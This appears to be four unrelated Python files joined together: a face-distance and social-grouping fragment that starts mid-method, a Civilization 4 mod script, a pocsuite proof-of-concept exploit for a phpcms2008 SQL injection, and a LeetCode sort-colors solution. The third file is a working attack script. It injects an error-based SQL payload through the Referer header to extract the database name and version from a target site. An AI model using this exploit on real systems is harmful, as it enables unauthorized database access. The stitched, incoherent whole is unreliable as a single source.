                finalDistanceBetween = self.getActualDistanceBetweenFaces(face.getDistanceFromCamera(), otherFace.getDistanceFromCamera(), theta)
                distanceMatrix[face.getId()][otherFace.getId()] = finalDistanceBetween
                #print(pixelsBetween, theta)
                #print("Distance Between " + str(face.getId()) + " and " + str(otherFace.getId()) + " is " + str(finalDistanceBetween))
                #print()

        return distanceMatrix

    def pixelsBetweenFaces(self, x1, y1, x2, y2):
        a = abs(x2-x1)
        b = abs(y2-y1)
        c = math.sqrt((a*a) + (b*b))
        return c

    def getActualDistanceBetweenFaces(self, a, b, theta):
        radians = theta * 0.0174533
        return math.sqrt((a*a)+(b*b)-(2*a*b*math.cos(radians)))

    def normalizeSocialData(self, distanceMatrix):
        numStudents = len(distanceMatrix)
        allDistances = []

        #put all distances inside a one dimensional array
        for i in range(numStudents):
            for j in range(numStudents):
                if(distanceMatrix[i][j] != 0):
                    allDistances.append(distanceMatrix[i][j])

        #sort the array
        allDistances.sort()

        #find the three partitions of the array
        first = 0
        second = int(((numStudents*numStudents) - numStudents)/3)
        third = (second*2)

        firstMin = 0
        firstMax = allDistances[second-1]
        secondMin = allDistances[second]
        secondMax = allDistances[third-1]
        thirdMin = allDistances[third]

        #print(allDistances)

        normalizedMatrix = [[0 for x in range(numStudents)] for y in range(numStudents)]

        for i in range(numStudents):
            for j in range(numStudents):
                value = distanceMatrix[i][j]
                if(value <= firstMax and value > 0):
                    normalizedMatrix[i][j] = 1
                elif(value >= secondMin and value <= secondMax):
                    normalizedMatrix[i][j] = 2
                elif(value >= thirdMin):
                    normalizedMatrix[i][j] = 3
        #print()

        #for i in range(numStudents):
        #    print(distanceMatrix[i])

        #print()
        #for i in range(numStudents):
        #    print(normalizedMatrix[i])

        return normalizedMatrix


## Sid Meier's Civilization 4
## Copyright Firaxis Games 2005
##
##
## The Ishtar Gate by Tsentom1.
##
## When the Ishtar gate is built the player gets contact with all other players.

## Dancing Hoskuld
##
## Converted to BUG/WoC standard
##
## Modified to only contact civilizations on same continent by Vokarya.

from CvPythonExtensions import *

import CvUtil
import sys

# globals
gc = CyGlobalContext()

###################################################

def onBuildingBuilt( argsList):
	'Building Completed'
	pCity, iBuildingType = argsList
	#~ game = gc.getGame()
	cityArea = pCity.area()

## Ishtar Start ##

	if iBuildingType == gc.getInfoTypeForString( 'BUILDING_ISHTAR' ):
		pPlayer = gc.getPlayer(pCity.getOwner())
		iTeam = pPlayer.getTeam()

		for iTeamX in xrange(gc.getMAX_PC_TEAMS()):
			if not iTeam == iTeamX:
				pTeamX = gc.getTeam(iTeamX)
				if (pTeamX.countNumCitiesByArea(cityArea) > 0):
					pTeamX.meet(iTeam, True)

## Ishtar End ##


#!/usr/bin/python
# -*- coding:utf-8 -*-

import string
import random
import time
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

def get_url(url, refer):
    try:
        httpreq = req.Session()
        headers = {
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0",
        "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer" : refer
        }
        resp = httpreq.get(url, headers=headers)
    except Exception as ex:
        resp = None
    return resp

class TestPOC(POCBase):
    name = 'phpcms2008 SQL Injection Vulnerability'
    vulID = '0'
    author = ['cws6']
    vulType = 'sql-inj'
    version = '1'
    references = ['https://www.seebug.org/vuldb/ssvid-62274']
    desc = '''phpcms2008 js.php存在sql注入'''

    vulDate = '2011-11-21'
    createDate = '2019-04-27'
    updateDate = '2019-04-27'

    appName = 'phpcms'
    appVersion = '2008'
    appPowerLink = 'http://www.phpcms.cn/'
    samples = ['re']

    def _attack(self):
        """attack mode"""
        result = {}
        payload1 = '/data/js.php?id=1'
        refer = "' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1"
        resp = get_url(self.url + payload1,refer)
        dbname1 = re.findall("~(.*?)~", resp.content)
        if dbname1:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['Database'] = {}
            result['Database']['DBname'] = dbname1[0]

        return self.parse_output(result)

    def _verify(self):
        """verify mode"""
        result = {}
        payload1 = '/data/js.php?id=1'
        refer = "' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1"
        resp = get_url(self.url + payload1,refer)
        time.sleep(2)
        if resp:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)


"""
    2nd approach:
	- move the zeros to the front
	- move the twos to the back
	- see leetcode 283) moving zeros

    Time    O(N)
    Space   O(N)
    12 ms, faster than 99.25%
"""

class Solution(object):
    def sortColors(self, nums):
        """
        :type nums: List[int]
        :rtype: None Do not return anything, modify nums in-place instead.
        """
        n = len(nums)
        nonZeroIdx = 0
        for i in range(n):
            if nums[i] == 0:
                nums[i], nums[nonZeroIdx] = nums[nonZeroIdx], nums[i]
                nonZeroIdx += 1
        nonTwoIdx = n - 1
        for i in range(n-1, -1, -1):
            if nums[i] == 2:
                nums[i], nums[nonTwoIdx] = nums[nonTwoIdx], nums[i]
                nonTwoIdx -= 1